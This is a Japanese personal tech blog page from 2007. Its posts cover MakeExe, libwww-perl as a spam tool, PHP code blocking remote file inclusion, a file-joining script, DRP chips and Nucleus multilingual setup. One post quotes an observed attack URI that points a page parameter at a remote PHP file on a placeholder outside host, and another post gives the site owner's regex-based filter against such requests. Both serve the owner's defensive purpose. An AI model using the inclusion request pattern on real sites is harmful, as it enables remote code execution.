コンピューターのことなどを綴ったメモ (旧:目から鱗 w/SQLite)
Jeans & Development | 電子ブロック工房 | 三日坊主 | フロントページ |
多国語表示プラグイン [Nucleus]
2007年11月18日
MakeExeと暗号化について [プログラミング]
2007年11月16日
e-mailで質問がありましたので、標記の件についてこちらにも掲載しておきます。以前書いたこととも関連しますが、MakeExe で作成したファイルに含まれるコードの暗号化についてです。
MakeExeには、暗号化の技術はまったく含まれていません。これは、現在までに配布した全バージョン(0.2.1 とそれ以前)に当てはまることですし、今後のバージョンでも暗号化技術を導入する予定はありません。ですので、MakeExe及びこれを用いて作成したexeファイルについて、例えばアメリカ合衆国が定めている128ビット長以上の暗号化技術に対する輸出入規制などには制約されません。
何らかの理由でソースコードを隠蔽したいときは、マイクロソフトが配布しているスクリプトエンコーダを使ってください。VBEもしくはJSEにファイル変換した後にMakeExeを利用すると、これを行うことが出来ます。このような方法で作成したexeファイルを輸出入する場合は、スクリプトエンコーダの暗号方式のビット長を参考にして、各国の法律に注意して行ってください。
MakeExeはLGPLのライセンスの元で配布していますので、改変して暗号化機能を持たせることは可能です。そういった場合は、当たり前のことですが、改変したソフトウエアに関する責任の所在をはっきりと表示していただければと思います。改変したソフトウエアを公開する場合は、LGPLもしくはGPLライセンスを適用する必要があります。詳しくは、MakeExeに同封しているライセンス関連の文書をご覧ください。
スパム・クラッキングツールとしてのlibwww-perl [コンピューター・その他]
2007年10月4日
なら、User-Agent として libwww-perl を名乗るものはアクセス拒否すればよいのではということになる。しかしながら、libwww-perl を用いる場合に User-Agent を変更することも比較的容易の様子。ということは、libwww-perl のアクセスを拒否するのは短期的な対策としては良いだろうけれど、長期的に見れば愚作のようである。スパムでもクラッキングでもないアクセスを拒否してしまう可能性があって、メリットよりデメリットの方が大きそう。やはり、この手のクラッキングアクセスを拒否するには、前の記事で書いたような、より直接的な方法を用いるべきだろう。特定の User-Agent の拒否なら .htaccess を用いて実行できるのだが、こういった不正アクセスへの対策はそれほど簡単ではないということらしい。
参考:
・Googleにもアクセス拒否され、スパム送信源と化した「libwww-perl」とは? - GIGAZINE
・404 Blog Not Found:perl+apache - LWPを責めないで
・どさにっき: ライブラリの User-Agent
・LWP(libwww-perl)を使う時には固有な agent を名乗らないとスパム扱いされる可能性がある罠 (talk to oneself 2)
リモートファイルインクルードを阻止 [Nucleus]
2007年8月22日
index.php の冒頭に、次のコードを挿入した。
if (isset($_REQUEST) and isset($_COOKIE)) { foreach($_COOKIE as $key=>$value) { if (isset($_REQUEST[$key])) unset($_REQUEST[$key]); } } $except=array('query','userid'); check_remote_inclusion($_REQUEST,$except); function check_remote_inclusion(&$var,&$except){ foreach($var as $key=>$value){ if (in_array($key,$except)) continue; if (is_array($value)) check_remote_inclusion($value,$except); elseif (preg_match('!^[a-zA-Z]{1,5}://!',$value,$matches)) { echo '<html><head><title>ERROR</title><body>'; echo 'Request cannot start from "'.htmlspecialchars($matches[0]).'".'; echo '</body></html>'; exit; } } } unset($except);
『http://』、『ftp://』、『php://』などで始まるリクエストをすべて排除する仕組み。ただし、『query=http://....』『userid=http://....』といったリクエストは例外的に受け付けるようにしてある。
(追記) 攻撃は、このサイトの他のブログにも向けられてきたので、すべてのブログに同じ措置を施した。
(追記 070901 コード改定)クッキー関連で不具合があったので、$_REQUEST から $_COOKIE を削除するルーチンを加えた。
MakeExeについて [プログラミング]
2007年8月21日
このツールは、VBScript/JScriptをexeファイル化するためのもので、2年ほど前に作成した。ネットサーフィンしていて気が付いたのだけれど、このツールを使うとVBScriptやJScriptのソースコードを隠蔽することが出来ると思っている利用者が、ずいぶん多いらしい。
MakeExeでは、残念ながらソースコードの隠蔽は出来ない。Notepadなどのエディタを用いて作成したEXEファイルを見ると、ソースコードが丸見えなので、注意。隠蔽したいときは、スクリプトエンコーダを使ってVBE/JSEファイルに変換した後、MakeExe する。
こんな記事を片田舎のブログに書いても、気が付かない人がほとんどだろうけれど…。
ファイル結合スクリプト [プログラミング]
2007年8月20日
<html><body> This script will be removed by itself if all will be done.<br /> <?php $dest='yyyyyyyy.zip'; $files=array('xxxxxxxx-1.zip','xxxxxxxx-2.zip'); $h0=@fopen($dest,'x') or exit('ERROR'.__LINE__); echo "Write to '$dest', handle=$h0<br />\n"; foreach($files as $file){ $h1=@fopen($file,'r') or exit('ERROR'.__LINE__); echo "Read from '$file', handle=$h1"; while (true) { if (strlen($d=fread($h1, 8192))==0) break; fwrite($h0,$d); } fclose($h1); echo " ... done<br />\n"; } fclose($h0); echo "All done!</body></html>"; unlink(__FILE__);
DRPとは? [コンピューター・その他]
2007年8月15日
Pentium 4を上回る性能でASICやFPGAを駆逐
演算速度はPentium4の数10倍、消費電力は1/20以下
以前からFPGA(Field Programmable Gate Array)なるものの存在は知っていて、それ用に使う Verilog や VHDL といった言語を勉強しようかなと思っていた。FPGA は、一度回路を取り込むとリセットするまでは書き換えできないのであるが、この DRP はダイナミックに書き換えが出来るので、必要なところで必要な回路を瞬時(1クロック)に組んで実行するのであろう。何に使えるかというと、例えば理研の Spring-8 で X線の解析装置に用いられたそうで、計算速度が Pentium 4 を用いた従来の装置よりも数十倍早かったらしい。他には画像解析など、並列処理が求められるような分野が得意なのかなという気がする。メインのCPUにDRPを用いた汎用コンピューターもいずれは登場するのだろうか?
ファイルインクルードを狙ったクラック [Nucleus]
2007年8月7日
具体的なURIとしては、例えば
/index.php?body=http://xxx.xxx.com/larry123/safe.txt?こんな感じ。
インクルードしようとするスクリプトはPHPで書かれているが、これについては、にっき - ほしにねがいをに、ある程度まとめられている。
今のところNucleusでの被害は起こりそうに無いけれど、プラグイン製作の際は当然ながらファイルインクルード系の命令には注意が必要だ。
MZ-80 パソコン開発物語 [General]
2007年8月6日
MZ-80 パソコン開発物語
いや~、懐かしい。注目は、『MZ80レプリカ製作』。ちょっとばかり、期待。もし販売になったときに、今住んでいる所から買えるのかどうか分からないけれど。記事で取り上げられているBASICインタープリタだけでも手に入れたい。これがあれば、自分でレプリカを作れる(というか、レプリカを作る意味がある)かも。
なぜMZ-80Kがセミキットだったのかという謎も、このブログを見て解決。なるほどぉ、そういうことがあったのかと。
ブログの多言語化 [Nucleus]
2007年7月5日
1)まず、english.php と japanese-euc.php を用意し、スキンディレクトリに配置(nucleus/language/japanese-euc.phpを参考のこと)。
2)スキンの必要な箇所をすべて、<%text(XXXXX)%>に置き換える。
3)head.inc の冒頭に、
<%plugin(text,header,text/html)%>を記述(HTTPヘッダ送信のための記述;将来、<%text%>タグがコアでサポートされるときのことを考え、<%plugin%>タグとして表記)。
4)HTML タグを、次のように記述。
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<%text(_SKIN_LANG)%>" lang="<%text(_SKIN_LANG)%>">ただし、_SKIN_LANG として、en と ja-JP を用意。
5)META タグを、次のように記述。
<meta http-equiv="Content-Type" content="text/html; charset=<%text(_CHARSET)%>" />
6)英語で使用したいブログのindex.phpに、次の2行を挿入。
$text_language='english.php'; include('../../nucleus/nucleus/language/english.php');